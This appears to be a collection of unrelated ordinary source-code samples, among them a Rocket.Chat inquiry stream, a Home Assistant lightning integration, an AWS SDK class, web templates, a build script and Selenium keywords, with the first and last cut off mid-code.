	if (departments && Array.isArray(departments) && departments.length) {
		departments.forEach((department) => appendListenerToDepartment(department));
	}
};

const removeDepartmentsListeners = (departments) => {
	(departments || []).forEach((department) => removeListenerOfDepartment(department._id));
};

const removeGlobalListener = () => {
	inquiryDataStream.removeListener('public', updateCollection);
};

export const initializeLivechatInquiryStream = async (userId) => {
	LivechatInquiry.remove({});

	if (agentDepartments.length) {
		removeDepartmentsListeners(agentDepartments);
	}
	removeGlobalListener();

	const config = await call('livechat:getRoutingConfig');
	if (config && config.autoAssignAgent) {
		return;
	}

	await updateInquiries(await getInquiriesFromAPI('livechat/inquiries.queued?sort={"ts": 1}'));

	agentDepartments = (await getAgentsDepartments(userId)).map((department) => department.departmentId);
	await addListenerForeachDepartment(userId, agentDepartments);
	if (agentDepartments.length === 0 || hasRole(userId, 'livechat-manager')) {
		inquiryDataStream.on('public', updateCollection);
	}
};


text: export { Bat32 as default } from "../../";


text:
<component name="ProjectCodeStyleConfiguration">
  <code_scheme name="Project" version="173">
    <JSON>
      <option name="OBJECT_WRAPPING" value="5" />
      <option name="ARRAY_WRAPPING" value="5" />
    </JSON>
    <JavaCodeStyleSettings>
      <option name="CLASS_COUNT_TO_USE_IMPORT_ON_DEMAND" value="999" />
      <option name="NAMES_COUNT_TO_USE_IMPORT_ON_DEMAND" value="999" />
    </JavaCodeStyleSettings>
    <codeStyleSettings language="JAVA">
      <option name="IF_BRACE_FORCE" value="3" />
      <option name="DOWHILE_BRACE_FORCE" value="3" />
      <option name="WHILE_BRACE_FORCE" value="3" />
      <option name="FOR_BRACE_FORCE" value="3" />
    </codeStyleSettings>
    <codeStyleSettings language="JavaScript">
      <indentOptions>
        <option name="INDENT_SIZE" value="2" />
        <option name="CONTINUATION_INDENT_SIZE" value="2" />
        <option name="TAB_SIZE" value="2" />
      </indentOptions>
    </codeStyleSettings>
  </code_scheme>
</component>


text:
// --------------------------------------------------------------------------
//                   deregnet -- find deregulated pathways
// --------------------------------------------------------------------------
// Copyright Sebastian Winkler --- Eberhard Karls University Tuebingen, 2020
//
// This software is released under a three-clause BSD license:
//  * Redistributions of source code must retain the above copyright
//    notice, this list of conditions and the following disclaimer.
//  * Redistributions in binary form must reproduce the above copyright
//    notice, this list of conditions and the following disclaimer in the
//    documentation and/or other materials provided with the distribution.
//  * Neither the name of any author or any participating institution
//    may be used to endorse or promote products derived from this software
//    without specific prior written permission.
// For a full list of authors, refer to the file AUTHORS.
// --------------------------------------------------------------------------
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL ANY OF THE AUTHORS OR THE CONTRIBUTING
// INSTITUTIONS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
// OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// --------------------------------------------------------------------------
// $Maintainer: Sebastian Winkler $
// $Authors: Sebastian Winkler $
// --------------------------------------------------------------------------
//

#ifndef GRBFRC_LAZY_CONSTRAINT_CALLBACK_H
#define GRBFRC_LAZY_CONSTRAINT_CALLBACK_H

#include <string>
#include <map>
#include <vector>
#include <set>
#include <memory>

#include <gurobi_c++.h>

#include "grbfrc/GrbfrcCallback.hpp"

#include "usinglemon.hpp"
#include "LazyConstraintCallback.hpp"

namespace deregnet {

/**
 * @brief Wrapper for lazy constraint callback needed for fractional integer formulation (fixed root)
 */
class GrbfrcLazyConstraintCallbackRoot : public grbfrc::Callback<Node> {

public:

    /**
     * @brief Constructor
     *
     * @param xgraph Underlying network (in which we try to find subgraphs)
     * @param xroot The (fixed) root node
     * @param xgap_cut Gap-cut parameter
     */
    GrbfrcLazyConstraintCallbackRoot(Graph* xgraph, Node* xroot, double* xgap_cut);

    /**
     * @brief Method implementing the mapping to reformulated models
     */
    virtual void register_vargrps() override;

private:

    Graph* graph;   ///< Underlying network (in which we try to find the subgraphs)
    Node* root;     ///< The (fixed) root node
    double* gap_cut;    ///< Gap-cut parameter

};

/**
 * @brief Wrapper for lazy constraint callback needed for fractional integer formulation (no fixed root)
 */
class GrbfrcLazyConstraintCallbackNoRoot : public grbfrc::Callback<Node> {

public:

    /**
     * @brief Constructor
     *
     * @param xgraph Underlying network (in which we try to find subgraphs)
     * @param xgap_cut Gap-cut parameter
     */
    GrbfrcLazyConstraintCallbackNoRoot(Graph* xgraph, double* xgap_cut);

    /**
     * @brief Method implementing the mapping to reformulated models
     */
    virtual void register_vargrps() override;

private:

    Graph* graph;       ///< Underlying network (in which we try to find subgraphs)
    double* gap_cut;    ///< Gap-cut parameter

};

}    //    namespace deregnet

#endif    //    LAZY_CONSTRAINT_CALLBACK_H


text:
"""Support for WWLLN geo location events."""
from datetime import timedelta
import logging

from aiowwlln.errors import WWLLNError

from homeassistant.components.geo_location import GeolocationEvent
from homeassistant.const import (
    ATTR_ATTRIBUTION,
    CONF_LATITUDE,
    CONF_LONGITUDE,
    CONF_RADIUS,
    CONF_UNIT_SYSTEM,
    CONF_UNIT_SYSTEM_IMPERIAL,
    LENGTH_KILOMETERS,
    LENGTH_MILES,
)
from homeassistant.core import callback
from homeassistant.helpers.dispatcher import (
    async_dispatcher_connect,
    async_dispatcher_send,
)
from homeassistant.helpers.event import async_track_time_interval
from homeassistant.util.dt import utc_from_timestamp

from .const import CONF_WINDOW, DATA_CLIENT, DOMAIN

_LOGGER = logging.getLogger(__name__)

ATTR_EXTERNAL_ID = "external_id"
ATTR_PUBLICATION_DATE = "publication_date"

DEFAULT_ATTRIBUTION = "Data provided by the WWLLN"
DEFAULT_EVENT_NAME = "Lightning Strike: {0}"
DEFAULT_ICON = "mdi:flash"
DEFAULT_UPDATE_INTERVAL = timedelta(minutes=10)

SIGNAL_DELETE_ENTITY = "delete_entity_{0}"

async def async_setup_entry(hass, entry, async_add_entities):
    """Set up WWLLN based on a config entry."""
    client = hass.data[DOMAIN][DATA_CLIENT][entry.entry_id]
    manager = WWLLNEventManager(
        hass,
        async_add_entities,
        client,
        entry.data[CONF_LATITUDE],
        entry.data[CONF_LONGITUDE],
        entry.data[CONF_RADIUS],
        entry.data[CONF_WINDOW],
        entry.data[CONF_UNIT_SYSTEM],
    )
    await manager.async_init()

class WWLLNEventManager:
    """Define a class to handle WWLLN events."""

    def __init__(
        self,
        hass,
        async_add_entities,
        client,
        latitude,
        longitude,
        radius,
        window_seconds,
        unit_system,
    ):
        """Initialize."""
        self._async_add_entities = async_add_entities
        self._client = client
        self._hass = hass
        self._latitude = latitude
        self._longitude = longitude
        self._managed_strike_ids = set()
        self._radius = radius
        self._strikes = {}
        self._window = timedelta(seconds=window_seconds)

        self._unit_system = unit_system
        if unit_system == CONF_UNIT_SYSTEM_IMPERIAL:
            self._unit = LENGTH_MILES
        else:
            self._unit = LENGTH_KILOMETERS

    @callback
    def _create_events(self, ids_to_create):
        """Create new geo location events."""
        _LOGGER.debug("Going to create %s", ids_to_create)
        events = []
        for strike_id in ids_to_create:
            strike = self._strikes[strike_id]
            event = WWLLNEvent(
                strike["distance"],
                strike["lat"],
                strike["long"],
                self._unit,
                strike_id,
                strike["unixTime"],
            )
            events.append(event)

        self._async_add_entities(events)

    @callback
    def _remove_events(self, ids_to_remove):
        """Remove old geo location events."""
        _LOGGER.debug("Going to remove %s", ids_to_remove)
        for strike_id in ids_to_remove:
            async_dispatcher_send(self._hass, SIGNAL_DELETE_ENTITY.format(strike_id))

    async def async_init(self):
        """Schedule regular updates based on configured time interval."""

        async def update(event_time):
            """Update."""
            await self.async_update()

        await self.async_update()
        async_track_time_interval(self._hass, update, DEFAULT_UPDATE_INTERVAL)

    async def async_update(self):
        """Refresh data."""
        _LOGGER.debug("Refreshing WWLLN data")

        try:
            self._strikes = await self._client.within_radius(
                self._latitude,
                self._longitude,
                self._radius,
                unit=self._unit_system,
                window=self._window,
            )
        except WWLLNError as err:
            _LOGGER.error("Error while updating WWLLN data: %s", err)
            return

        new_strike_ids = set(self._strikes)
        # Remove all managed entities that are not in the latest update anymore.
        ids_to_remove = self._managed_strike_ids.difference(new_strike_ids)
        self._remove_events(ids_to_remove)

        # Create new entities for all strikes that are not managed entities yet.
        ids_to_create = new_strike_ids.difference(self._managed_strike_ids)
        self._create_events(ids_to_create)

        # Store all external IDs of all managed strikes.
        self._managed_strike_ids = new_strike_ids

class WWLLNEvent(GeolocationEvent):
    """Define a lightning strike event."""

    def __init__(
        self, distance, latitude, longitude, unit, strike_id, publication_date
    ):
        """Initialize entity with data provided."""
        self._distance = distance
        self._latitude = latitude
        self._longitude = longitude
        self._publication_date = publication_date
        self._remove_signal_delete = None
        self._strike_id = strike_id
        self._unit_of_measurement = unit

    @property
    def device_state_attributes(self):
        """Return the device state attributes."""
        attributes = {}
        for key, value in (
            (ATTR_EXTERNAL_ID, self._strike_id),
            (ATTR_ATTRIBUTION, DEFAULT_ATTRIBUTION),
            (ATTR_PUBLICATION_DATE, utc_from_timestamp(self._publication_date)),
        ):
            attributes[key] = value
        return attributes

    @property
    def distance(self):
        """Return distance value of this external event."""
        return self._distance

    @property
    def icon(self):
        """Return the icon to use in the front-end."""
        return DEFAULT_ICON

    @property
    def latitude(self):
        """Return latitude value of this external event."""
        return self._latitude

    @property
    def longitude(self):
        """Return longitude value of this external event."""
        return self._longitude

    @property
    def name(self):
        """Return the name of the event."""
        return DEFAULT_EVENT_NAME.format(self._strike_id)

    @property
    def source(self) -> str:
        """Return source value of this external event."""
        return DOMAIN

    @property
    def should_poll(self):
        """Disable polling."""
        return False

    @property
    def unit_of_measurement(self):
        """Return the unit of measurement."""
        return self._unit_of_measurement

    @callback
    def _delete_callback(self):
        """Remove this entity."""
        self._remove_signal_delete()
        self.hass.async_create_task(self.async_remove())

    async def async_added_to_hass(self):
        """Call when entity is added to hass."""
        self._remove_signal_delete = async_dispatcher_connect(
            self.hass,
            SIGNAL_DELETE_ENTITY.format(self._strike_id),
            self._delete_callback,
        )


text:
package commenter

type rule struct {
	Comment string `mapstructure:"comment"`
}


text:
typedef enum {
    PullRefreshPulling = 0,
    PullRefreshNormal,
    PullRefreshLoading,
} PullRefreshState;

@protocol EFRefreshHeaderViewDelegate;

@interface EFRefreshHeaderView : UIView

@property (nonatomic, assign) IBOutlet id <EFRefreshHeaderViewDelegate> delegate;
@property (nonatomic, retain) UILabel *instructionLabel;
@property (nonatomic, retain) UILabel *statusLabel;

- (id)initWithFrame:(CGRect)frame arrowImageName:(NSString *)arrow textColor:(UIColor *)textColor;

// The delegate of the UITableView should call these methods at the appropriate time
- (void)scrollViewDidScroll:(UIScrollView *)scrollView;
- (void)scrollViewDidEndDragging:(UIScrollView *)scrollView;
- (void)dataSourceDidFinishLoading:(UIScrollView *)scrollView;

@end

@protocol EFRefreshHeaderViewDelegate <NSObject>

- (void)refreshHeaderViewDidTriggerRefresh:(EFRefreshHeaderView *)view;
- (BOOL)refreshHeaderViewDataSourceIsLoading:(EFRefreshHeaderView *)view;

@optional
// Use this method to for example inform the user when the data was last updated
- (NSString *)refreshHeaderViewStatusLabelText:(EFRefreshHeaderView *)view;

@end


text:
import sys
import subprocess
import traceback
import glob
import os.path

def create_binary_name(source, os_name):
  binary_name = source.split("/")
  binary_name[2] = binary_name[1]+"."+os_name
  return "/".join(binary_name)

def create_binary(os_name, binary_name, go_file):
  cmd = "GOOS=%s godep go build -o %s %s" % (os_name, binary_name, go_file)
  print 'Executing => "%s"' % cmd
  p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  stdout, stderr = p.communicate()
  if p.returncode > 0:
    raise Exception(stderr)
  print "Successfully created %s" % binary_name

# pass 1 to recompile all
# pass 2 <module_name> to recompile one module
try:
  recompile = False
  compile_file = ""
  if len(sys.argv) > 1:
    if sys.argv[1] == "2":
      compile_file = sys.argv[2]
    recompile = True

  for go_file in glob.glob("modules/*/*.go"):
    if compile_file == "" or compile_file == go_file.split("/")[-1]:
      for os_name in ["linux", "darwin"]:
        binary_name = create_binary_name(go_file, os_name)
        if recompile or not os.path.isfile(binary_name):
          create_binary(os_name, binary_name, go_file)
        else:
          print "'%s' already present.  Pass in 1 as the first parameter to recompile all go modules" % binary_name
except Exception as e:
  if e:
    print "Error - %s" % e
  else:
    traceback.print_exec


text:
package com.amazonaws.services.transcribe.model;

import java.io.Serializable;
import javax.annotation.Generated;

/**
 *
 * @see AWS
 *      API Documentation
 */
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class DescribeLanguageModelResult extends com.amazonaws.AmazonWebServiceResult<com.amazonaws.ResponseMetadata> implements Serializable, Cloneable {

    /**
     *

     * Provides information about the specified custom language model.
     *

     *

     * This parameter also shows if the base language model you used to create your custom language model has been
     * updated. If Amazon Transcribe has updated the base model, you can create a new custom language model using the
     * updated base model.
     *

     *

     * If you tried to create a new custom language model and the request wasn't successful, you can use this
     * DescribeLanguageModel to help identify the reason for this failure.
     *

     */
    private LanguageModel languageModel;

    /**
     *

     * Provides information about the specified custom language model.
     *

     *

     * This parameter also shows if the base language model you used to create your custom language model has been
     * updated. If Amazon Transcribe has updated the base model, you can create a new custom language model using the
     * updated base model.
     *

     *

     * If you tried to create a new custom language model and the request wasn't successful, you can use this
     * DescribeLanguageModel to help identify the reason for this failure.
     *

     *
     * @param languageModel
     *        Provides information about the specified custom language model.

     *

     *        This parameter also shows if the base language model you used to create your custom language model has
     *        been updated. If Amazon Transcribe has updated the base model, you can create a new custom language model
     *        using the updated base model.
     *

     *

     *        If you tried to create a new custom language model and the request wasn't successful, you can use this
     *        DescribeLanguageModel to help identify the reason for this failure.
     */

    public void setLanguageModel(LanguageModel languageModel) {
        this.languageModel = languageModel;
    }

    /**
     *

     * Provides information about the specified custom language model.
     *

     *

     * This parameter also shows if the base language model you used to create your custom language model has been
     * updated. If Amazon Transcribe has updated the base model, you can create a new custom language model using the
     * updated base model.
     *

     *

     * If you tried to create a new custom language model and the request wasn't successful, you can use this
     * DescribeLanguageModel to help identify the reason for this failure.
     *

     *
     * @return Provides information about the specified custom language model.

     *

     *         This parameter also shows if the base language model you used to create your custom language model has
     *         been updated. If Amazon Transcribe has updated the base model, you can create a new custom language model
     *         using the updated base model.
     *

     *

     *         If you tried to create a new custom language model and the request wasn't successful, you can use this
     *         DescribeLanguageModel to help identify the reason for this failure.
     */

    public LanguageModel getLanguageModel() {
        return this.languageModel;
    }

    /**
     *

     * Provides information about the specified custom language model.
     *

     *

     * This parameter also shows if the base language model you used to create your custom language model has been
     * updated. If Amazon Transcribe has updated the base model, you can create a new custom language model using the
     * updated base model.
     *

     *

     * If you tried to create a new custom language model and the request wasn't successful, you can use this
     * DescribeLanguageModel to help identify the reason for this failure.
     *

     *
     * @param languageModel
     *        Provides information about the specified custom language model.

     *

     *        This parameter also shows if the base language model you used to create your custom language model has
     *        been updated. If Amazon Transcribe has updated the base model, you can create a new custom language model
     *        using the updated base model.
     *

     *

     *        If you tried to create a new custom language model and the request wasn't successful, you can use this
     *        DescribeLanguageModel to help identify the reason for this failure.
     * @return Returns a reference to this object so that method calls can be chained together.
     */

    public DescribeLanguageModelResult withLanguageModel(LanguageModel languageModel) {
        setLanguageModel(languageModel);
        return this;
    }

    /**
     * Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be
     * redacted from this string using a placeholder value.
     *
     * @return A string representation of this object.
     *
     * @see java.lang.Object#toString()
     */
    @Override
    public String toString() {
        StringBuilder sb = new StringBuilder();
        sb.append("{");
        if (getLanguageModel() != null)
            sb.append("LanguageModel: ").append(getLanguageModel());
        sb.append("}");
        return sb.toString();
    }

    @Override
    public boolean equals(Object obj) {
        if (this == obj)
            return true;
        if (obj == null)
            return false;

        if (obj instanceof DescribeLanguageModelResult == false)
            return false;
        DescribeLanguageModelResult other = (DescribeLanguageModelResult) obj;
        if (other.getLanguageModel() == null ^ this.getLanguageModel() == null)
            return false;
        if (other.getLanguageModel() != null && other.getLanguageModel().equals(this.getLanguageModel()) == false)
            return false;
        return true;
    }

    @Override
    public int hashCode() {
        final int prime = 31;
        int hashCode = 1;

        hashCode = prime * hashCode + ((getLanguageModel() == null) ? 0 : getLanguageModel().hashCode());
        return hashCode;
    }

    @Override
    public DescribeLanguageModelResult clone() {
        try {
            return (DescribeLanguageModelResult) super.clone();
        } catch (CloneNotSupportedException e) {
            throw new IllegalStateException("Got a CloneNotSupportedException from Object.clone() " + "even though we're Cloneable!", e);
        }
    }

}


text:
        <app-admin-navbar class="nav-bar"></app-admin-navbar>

            <app-admin-sidebar (sidebarType)="toggleSidebar($event)"></app-admin-sidebar>

                <router-outlet></router-outlet>


text:
klampt.vis.editors module
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.. automodule:: klampt.vis.editors
    :autosummary:
    :members:
    :undoc-members:
    :show-inheritance:


text:
{% extends "account/base.html" %}

{% load i18n %}
{% load account %}
{% load bootstrap3 %}

{% block header_title %}{% trans "Accounts" %}{% endblock %}

{% block content %}

{% trans "Reset Your Password" %}

                {% if user.is_authenticated %}
                {% include "account/snippets/already_logged_in.html" %}
                {% endif %}

{% trans "Forgotten your password? Enter your e-mail address below, and we'll send you an e-mail allowing you to reset it." %}

                <form class="short-form" method="POST" action="{% url 'account_reset_password' %}" class="password_reset">{% csrf_token %}
                    {% bootstrap_form form %}
                    <input class="btn btn-primary" type="submit" value="{% trans "Reset My Password" %}" />
                </form>

{% blocktrans %}Please contact us if you have any trouble resetting your password.{% endblocktrans %}

{% endblock %}

{% block extra_js %}

{% endblock %}


text:
using System.ComponentModel;
using System.Web.Mvc;
using System;

namespace Snooze
{
    public class InputModelBinder : DefaultModelBinder
    {
        public InputModelBinder(IModelBinder defaultBinder)
        {
            _innerBinder = defaultBinder;
        }

        IModelBinder _innerBinder;

        protected override void BindProperty(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor)
        {
            if (typeof(IInput).IsAssignableFrom(propertyDescriptor.PropertyType))
            {
                BindInputProperty(controllerContext, bindingContext, propertyDescriptor);
            }
            else
            {
                base.BindProperty(controllerContext, bindingContext, propertyDescriptor);
            }
        }

        void BindInputProperty(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor)
        {
            var binder = this.Binders.GetBinder(propertyDescriptor.PropertyType);
            if (binder is InputModelBinder) binder = _innerBinder;

            var context = new ModelBindingContext
            {
                ModelName = propertyDescriptor.Name,
                ModelState = bindingContext.ModelState,
                ModelType = typeof(string),
                ValueProvider = bindingContext.ValueProvider
            };
            var value = (string)binder.BindModel(controllerContext, context);
            var input = (IInput)Activator.CreateInstance(propertyDescriptor.PropertyType);
            if (value != null)
            {
                input.RawValue = value;
            }
            SetProperty(controllerContext, bindingContext, propertyDescriptor, input);
        }
    }
}


text:
<md-tabs md-selected="$ctrl.currentTab" md-dynamic-height md-border-bottom>
    <md-tab>
        <md-tab-label>Setup</md-tab-label>
        <md-tab-body>

                    <process-settings2 settings="setup.properties"
                                       attribute="setup.attribute"
                                       template-id="$ctrl.process.template_id"
                                       name="setup.name"
                                       process-id="$ctrl.process.id">
                    </process-settings2>

        </md-tab-body>
    </md-tab>

    <md-tab>
        <md-tab-label>Samples ({{$ctrl.process.input_samples.length}}/{{$ctrl.process.output_samples.length}})
        </md-tab-label>
        <md-tab-body>
            <md-button class="md-primary" ng-click="$ctrl.selectSamples()">

                samples
            </md-button>
            <mc-process-template-samples-list process="$ctrl.process"></mc-process-template-samples-list>
        </md-tab-body>
    </md-tab>

    <md-tab>
        <md-tab-label>Files ({{$ctrl.process.files.length}})</md-tab-label>
        <md-tab-body>
            <md-button class="md-primary" ng-click="$ctrl.selectFiles()">

                files
            </md-button>
            <mc-process-template-files-list process="$ctrl.process"></mc-process-template-files-list>
        </md-tab-body>
    </md-tab>

    <md-tab>
        <md-tab-label>Measurements</md-tab-label>
        <md-tab-body>

                <process-measurements measurements="$ctrl.process.measurements"
                                      samples="$ctrl.process.output_samples"
                                      process-id="$ctrl.process.id"
                                      template="$ctrl.process">
                </process-measurements>

        </md-tab-body>
    </md-tab>
</md-tabs>


text:
package graphene.hts.me;

import graphene.model.idl.G_Gender;
import graphene.util.Tuple;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 *
 * @author djue
 *
 */
public class FamilyReferenceExtractor {
	/**
	 * Patterns to build for:
	 *
	 * Son of
	 *
	 * Son
	 *
	 * S/O
	 *
	 * S / O
	 *
	 * S/ O
	 *
	 * S /O
	 *
	 * O/S
	 *
	 * SO
	 *
	 *
	 *
	 *
	 * Stop words to remove false positives (if these words are found in the
	 * match, don't use them)
	 *
	 * Village City Town Street Apt
	 *
	 */
	private Pattern sonOfPattern = null;

	private Pattern daughterOfPattern = null;

	private Pattern wifeOfPattern = null;

	public FamilyReferenceExtractor() {
		sonOfPattern = Pattern.compile(".*[Ss]\\s*[\\.\\/]\\s*[Oo]\\s*([\\w\\s]+),(.*)");
		daughterOfPattern = Pattern.compile(".*[Dd]\\s*[\\/]\\s*[Oo]\\s*(.+),.*");
		wifeOfPattern = Pattern.compile(".*[Ww]\\s*[\\.\\/]\\s*[Oo]\\s*(.+),.*");
	}

	/**
	 * Removes leading and trailing whitespace, and replaces multiple contiguous
	 * whitespaces with one space.
	 *
	 * @param name
	 * @return
	 */
	public String cleanName(String name) {
		// remove leading and trailing white spaces.
		// replace multiple contiguous spaces with one space
		return name.trim().replaceAll("\\s+", " ");
	}

	/**
	 * Use getParentAndImputedChildGender instead.
	 *
	 * @param s
	 * @return
	 */
	@Deprecated
	public String getParent(String s) {
		Matcher m = sonOfPattern.matcher(s);
		String parent = null;
		if (m.find()) {
			parent = m.group(1);
		}
		return parent;
	}

	public Tuple<String, G_Gender> getParentAndImputedChildGender(String s) {
		if (s == null || s.isEmpty()) {
			return null;
		}
		Tuple<String, G_Gender> retval = new Tuple<String, G_Gender>();

		Matcher m = sonOfPattern.matcher(s);
		if (m.find()) {
			retval.set(m.group(1), G_Gender.MALE);
		} else {
			m = daughterOfPattern.matcher(s);
			if (m.find()) {
				retval.set(m.group(1), G_Gender.FEMALE);
			}
			// If we make a parentOfPattern, we'd put that here and impute the
			// Gender as unknown
		}
		return retval;
	}

	public Tuple<String, G_Gender> getSpouseAndImputedSpouseGender(String s) {
		Tuple<String, G_Gender> retval = new Tuple<String, G_Gender>();
		Matcher m = wifeOfPattern.matcher(s);
		if (m.find()) {
			retval.set(m.group(1), G_Gender.MALE);
		}
		// Our problem set doesn't require us to create a husbandOfPattern
		// because of the nature of the data.
		return retval;
	}
}


text:
<?php

namespace Zimbra\Mail\Struct;

/**
 * DateTest class
 *
 * @package    Zimbra
 * @subpackage Mail
 * @category   Struct
 * @author     Nguyen Van Nguyen - nguyennv1981@gmail.com
 * @copyright  Copyright © 2013 by Nguyen Van Nguyen.
 */
class DateTest extends FilterTest
{
    /**
     * Constructor method for DateTest
     * @param int $index
     * @param string $dateComparison
     * @param int $d
     * @param bool $negative
     * @return self
     */
    public function __construct(
        $index,
        $dateComparison = null,
        $date = null,
        $negative = null
    )
    {
        parent::__construct($index, $negative);
        if(null !== $dateComparison)
        {
            $this->setProperty('dateComparison', trim($dateComparison));
        }
        if(null !== $date)
        {
            $this->setProperty('d', (int) $date);
        }
    }

    /**
     * Gets dateComparison
     *
     * @return string
     */
    public function getDateComparison()
    {
        return $this->getProperty('dateComparison');
    }

    /**
     * Sets dateComparison
     *
     * @param  string $dateComparison
     * @return self
     */
    public function setDateComparison($dateComparison)
    {
        return $this->setProperty('dateComparison', trim($dateComparison));
    }

    /**
     * Gets date
     *
     * @return int
     */
    public function getDate()
    {
        return $this->getProperty('d');
    }

    /**
     * Sets date
     *
     * @param  int $date
     * @return self
     */
    public function setDate($date)
    {
        return $this->setProperty('d', (int) $date);
    }

    /**
     * Returns the array representation of this class
     *
     * @param  string $name
     * @return array
     */
    public function toArray($name = 'dateTest')
    {
        return parent::toArray($name);
    }

    /**
     * Method returning the xml representative this class
     *
     * @param  string $name
     * @return SimpleXML
     */
    public function toXml($name = 'dateTest')
    {
        return parent::toXml($name);
    }
}


text:
https://www.beecrowd.com.br/judge/en/problems/view/2356

# Bacteria I

Dr. Henrique really loves your research with bacteria. He tried make an
antibiotic resistant bacteria, and when evaluate the DNA, he noticed
similarity of the bacteria that are more resistant than the others. All of
them have the same part of its genetic code (composed of proteins A, C, G, T).
Therefore, Dr. Henrique realized that part of code define if a bacteria is
resistant or not. So, Dr. Henrique ask you to make a program that evaluate if
a bacteria is resistant given its DNA and the part of genetic code that gives
antibiotic resistance.

## Input

Each test case have two strings, $D$ and $S$, each one in a line, and
represent the DNA of bacteria and the genetic code that gives antibiotic
resistance. $1 \leq |D|, |S| \leq 100$. The strings are composed by
characters: A, C, G, T.

## Output

Output one line for each test case, having the string "Resistente" (without
quote) if the bacteria have the genetic code required in its DNA, or the
string "Nao resistente" (without quote) otherwise.


text:
var models = require('../models');
var Sequelize = require('sequelize');
var url = require('url');

var authenticate = function(login, password){
	return models.User.findOne({where: {username: login}}).then(function(user){
		if(user && user.verifyPassword(password)){
			return user;
		}else{
			return null;
		}
	});
};

//GET /session --Formulario de login
exports.new = function(req, res, next){
	var redir = req.query.redir || url.parse(req.headers.referer || "/").pathname;

	if(redir === '/session' || redir === '/users/new'){
		redir = "/";
	}

	res.render('session/new', {redir: redir});
};
//POST /session -- Crear sesion
exports.create = function(req, res, next){
	var redir = req.body.redir || '/';
	var login = req.body.login;
	var password = req.body.password;

	authenticate(login, password).then(function(user){
		if(user){
			var datems= new Date().getTime();
			req.session.user = {id:user.id, username:user.username,isAdmin:user.isAdmin, expiredAt:datems};
			res.redirect(redir);//redireccion a redir
		}else{
			req.flash('error','La autenticación ha fallado. Reinténtelo otra vez.');
			res.redirect("/session?redir="+redir);
		}
	}).catch(function(error){
		req.flash('error','Se ha producido un error: '+error);
		next(error);
	});
};

//DELETE /session -- Destruir sesion
exports.destroy = function(req, res, next){
	delete req.session.user;

	res.redirect("/session");//redirect a login
};

//login Required usado para los users con accesos
exports.loginRequired = function(req, res, next){
	if(req.session.user){
		next();
	}else{
		res.redirect('/session?redir='+(req.param('redir') || req.url));
	}
};


text:
<?xml version="1.0" encoding="UTF-8"?>
<module rename-to='chrome_tts_gwtwrap'>
  <!-- Inherit the core Web Toolkit stuff.                        -->
  <inherits name='com.google.gwt.user.User'/>
<inherits name="com.akjava.gwt.chrometts.chrome_tts" />
  <!-- Inherit the default GWT style sheet.  You can change       -->
  <!-- the theme of your GWT application by uncommenting          -->
  <!-- any one of the following lines.                            -->
  <inherits name='com.google.gwt.user.theme.clean.Clean'/>
  <!-- <inherits name='com.google.gwt.user.theme.standard.Standard'/> -->
  <!-- <inherits name='com.google.gwt.user.theme.chrome.Chrome'/> -->
  <!-- <inherits name='com.google.gwt.user.theme.dark.Dark'/>     -->

  <!-- Other module inherits                                      -->

  <!-- Specify the app entry point class.                         -->
  <entry-point class='com.akjava.gwt.ttstest.client.Chrome_tts_gwtwrap'/>

  <!-- Specify the paths for translatable code                    -->
  <source path='client'/>
  <source path='shared'/>
 <set-property name="user.agent" value="safari"/>
</module>


text:
from typing import Union

from selenium.webdriver.remote.webelement import WebElement

from SeleniumLibrary.base import LibraryComponent, keyword

class FrameKeywords(LibraryComponent):
    @keyword
    def select_frame(self, locator: Union[WebElement, str]):
        """Sets frame identified by ``locator`` as the current frame.

        See the `Locating elements` section for details about the locator
        syntax.

        Works both with frames and iframes. Use `Unselect Frame` to cancel
        the frame selection and return to the main frame.

        Example:
        | `Select Frame`   | top-frame | # Select frame with id or name 'top-frame'   |
        | `Click Link`     | example   | # Click link 'example' in the selected frame |
        | `Unselect Frame` |           | # Back to main frame.                        |
        | `Select Frame`   | //iframe[@name='xxx'] | # Select frame using xpath       |
        """
        self.info(f"Selecting frame '{locator}'.")
        element = self.find_element(locator)
        self.driver.switch_to.frame(element)

    @keyword
    def unselect_frame(self):
        """Sets the main frame as the current frame.

        In practice cancels the previous `Select Frame` call.
        """
        self.driver.switch_to.default_content()

    @keyword
    def current_frame_should_contain(self, text: str, loglevel: str = "TRACE"):
        """Verifies that the current frame contains ``text``.

        See `Page Should Contain` for an explanation about the ``loglevel``
        argument.

        Prior to SeleniumLibrary 3.0 this keyword was named
        `Current Frame Contains`.
        """
        if not self.is_text_present(text):
            self.log_source(loglevel)
            raise AssertionError(
                f"Frame should have contained text '{text}' but did not."
            )
        self.info(f"Current frame contains text '{text}'.")

    @keyword
    def current_frame_should_not_contain(self, text: str, loglevel: str = "TRACE"):
        """Verifies that the current frame does not contain ``text``.

        See `Page Should Contain` for an explanation about the ``loglevel``
        argument.
        """
        if self.is_text_present(text):
            self.log_source(loglevel)
            raise AssertionError(
                f"Frame should not have contained text '{text}' but it did."
            )
        self.info(f"Current frame did not contain text '{text}'.")

    @keyword
    def frame_should_contain(
        self, locator: Union[WebElement, str], text: str, loglevel: str = "TRACE"
    ):
        """Verifies that frame identified by ``locator`` contains ``text``.

        See the `Locating elements` section for details about the locator
        syntax.

